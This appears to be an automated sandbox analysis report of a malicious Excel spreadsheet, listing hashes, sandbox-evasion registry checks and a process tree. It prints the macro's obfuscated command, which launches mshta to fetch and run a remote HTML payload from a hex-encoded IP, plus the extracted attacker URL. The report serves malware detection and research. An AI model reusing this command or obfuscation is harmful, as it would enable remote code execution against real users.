Analysis
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max time kernel
133s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 20:52
Behavioral task
behavioral1
Sample
b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls
Resource
win10v2004-20241007-en
General
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Target
b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls
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Size
101KB
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MD5
447c33f9aab2d4897276e6942d87de3e
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SHA1
609ccde3bc76e695be73af250b7491e01de43359
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SHA256
b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775
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SHA512
9bcf581b5a4f9f2eaef983b7dcf8c2033db62e19bade32c07d44ff93fbe3cd4afc7a31853fc68b833c8fb75339ee7cc564735c8dc03d7976858c48844a53ff92
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5080 3940 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 21 4348 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3940 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE 3940 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3940 wrote to memory of 5080 3940 EXCEL.EXE cmd.exe PID 3940 wrote to memory of 5080 3940 EXCEL.EXE cmd.exe PID 5080 wrote to memory of 4348 5080 cmd.exe mshta.exe PID 5080 wrote to memory of 4348 5080 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
PID:4348
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD5bc7e585b62b2f590ce64edca2d1af6d1
SHA15e5fe882306058c94be672df8d1f028707b1be88
SHA256c62d68c47eb01a43fca9a945825730f62f15cac0f6e408ee51408e91c88aec7b
SHA512d141999a0b479f3ca871d694c6fda81dd6bf504284fe99306a7565b9263ca24a58e9cee31d6a5a34f8d34d42a2cc28e1d0420a843d302bfb3b2eceab93dd932f